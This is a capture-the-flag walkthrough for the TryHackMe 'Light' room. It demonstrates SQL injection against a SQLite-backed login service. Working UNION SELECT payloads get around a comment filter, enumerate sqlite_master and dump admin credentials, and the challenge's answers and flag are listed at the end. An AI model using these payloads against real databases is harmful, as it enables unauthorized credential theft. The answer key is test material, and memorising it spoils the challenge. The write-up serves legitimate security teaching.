TryHackMe Light Full Walkthrough & SQL Injection Exploit

A beginner-friendly challenge focused on SQL Injection in SQLite.

---

Challenge Setup

While connecting to the machine on port 1337 using nc, we’re welcomed with a login prompt:

nc 10.10.39.206 1337

Output:

Welcome to the Light database!
Please enter your username:

---

Testing for SQL Injection

I started with classic test inputs:

Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL

Then:

Please enter your username: admin
Username not found.

Trying a single quote:

Please enter your username: '
Error: unrecognized token: "''' LIMIT 30"

This error confirms that SQL queries are constructed, unsafely allowing SQL Injection.

---

Understanding the Query Structure

Using inputs like:

Please enter your username: smokey' '
Error: near "''": syntax error

Suggested the query could look like:

SELECT password FROM users WHERE username = '.....' LIMIT 30;

Tried some filtering tests:

Please enter your username: smokey' --

Response:

For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)

So characters like –, /*, and %0b are filtered. Time to get creative!

---

Bypassing Filters & Identifying the Database Type

I first assumed MySQL and tried:

' UNION SELECT @@version

But got:

Error: unrecognized token: "@"

Tried PostgreSQL and other DBMS payloads but no success. Then I try:

Please enter your username: ' Union Select sqlite_version()'
Password: 3.31.1

Boom! Two key takeaways:

• Backend is SQLite
• SQLi works even without comments

---

Extracting Tables & Data

To enumerate tables:

Please enter your username: ' Union Select name FROM sqlite_master'
Password: admintable

Found a table: admintable.

To dump credentials:

Please enter your username: ' Union Select username || '~' || password from admintable'
Password: TryHackMeAdmin~mamZtAuMlrsEy5bp6q17

To retrieve the flag:

Please enter your username: ' Union Select password from admintable'
Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}

---

Why Two Different “Password” Outputs?

In this payload:

' Union Select username || '~' || password from admintable'

The || operator concatenates username and password with ~

Result: TryHackMeAdmin~mamZtAuMlrsEy5bp6q17

But here:

' Union Select password from admintable'

You’re fetching just the password column which contains the actual flag.

---

Challenge Answers

1. Admin username: TryHackMeAdmin
2. Password: mamZtAuMlrsEy5bp6q17
3. Flag: THM{SQLit3_InJ3cTion_is_SimplE_nO?}